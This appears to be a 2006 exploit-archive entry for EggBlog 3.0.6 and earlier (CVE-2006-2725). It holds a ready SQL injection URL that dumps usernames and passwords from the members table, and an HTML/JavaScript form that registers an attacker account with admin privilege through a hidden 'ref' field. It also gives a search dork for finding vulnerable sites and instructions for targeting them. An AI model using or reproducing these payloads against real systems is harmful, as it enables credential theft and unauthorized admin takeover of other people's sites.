EggBlog < 3.07 - Remote SQL Injection / Privilege Escalation

Related Vulnerabilities: CVE-2006-2725  
Publish Date: 28 May 2006
Author: nukedx
                							

                &lt;!--
Eggblog &lt;= 3.x Multiple Remote Vulnerabilities
Discovered by: nukedx
Contacts: ICQ: 10072 MSN/Mail: nukedx@nukedx.com web: http://www.nukedx.com
Original advisory can be found at: http://www.nukedx.com/?viewdoc=36
Eggblog &lt;= 3.0.6 (rss/posts.php id) Remote SQL injection
Example -&gt;  http://[site]/[EggBlog]/rss/posts.php?id=1'/**/UNION/**/SELECT/**/0,concat('Username:%20',username),concat('Password:%20',password)/**/from/**/eggblog_members/*
This SQL injection will list you all users and passwords.
--&gt;

&lt;html&gt;
&lt;title&gt;Eggblog 2.x Remote Privilege Escalation&lt;/title&gt;
&lt;body bgcolor="#000000"&gt;
&lt;style&gt;
.xpl {font-family:tahoma; font-size:11px; text-decoration: none;}
&lt;/style&gt;
&lt;script language="JavaScript"&gt;
function egxpl() {
  if (document.xplt.victim.value=="") {
    alert("Please enter site!");
    return false;
  }
  if (confirm("Are you sure?")) {
    xplt.action="http://"+document.xplt.victim.value+"home/register.php";
    xplt.username.value=document.xplt.username.value;
    xplt.email.value=document.xplt.email.value;
    xplt.password.value=document.xplt.password.value;
    xplt.ref=document.xplt.ref.value;
    xplt.submit();
  }
}
&lt;/script&gt;
&lt;strong&gt;
&lt;font class="xpl" color="#00FF40"&gt;
&lt;pre&gt;
&lt;center&gt;
Welcome to Eggblog 2.x Remote Privilege Escalation
This exploit has been coded by nukedx
You can found original advisory on http://www.nukedx.com/?viewdoc=36
Dork for this exploit: &lt;u&gt;inurl:"powered by eggblog"&lt;/u&gt;
Your target must be like that: www.victim.com/Path/
The sites you found with given dork has like: www.victim.com/eggblog/home/ or www.victim.com/home/
If the site has /eggblog/home in link your target must be www.victim.com/eggblog/
For second example your target must be www.victim.com/
You can login with your admin account via www.victim.com/eggblog/admin/index.php
Have phun
&lt;form name="xplt" method="POST" onsubmit="egxpl();"&gt;
Target -&gt; &lt;input type="text" name="victim" value="www.victim.com/Path/" size="44" class="xpl"&gt;
&lt;input type="text" name="username" value="Enter Username" class="xpl" size="30"&gt;
&lt;input type="text" name="email" value="Enter Email" class="xpl" size="30"&gt;
&lt;input type="text" name="password" value="Enter Password" class="xpl" size="30"&gt;
&lt;input type="hidden" name="ref" value="T"&gt;
&lt;input type="submit" value="Send" class="xpl"&gt;
&lt;/form&gt;
&lt;/pre&gt;
&lt;/font&gt;
&lt;/strong&gt;
&lt;/body&gt;
&lt;/html&gt;

# milw0rm.com [2006-05-28]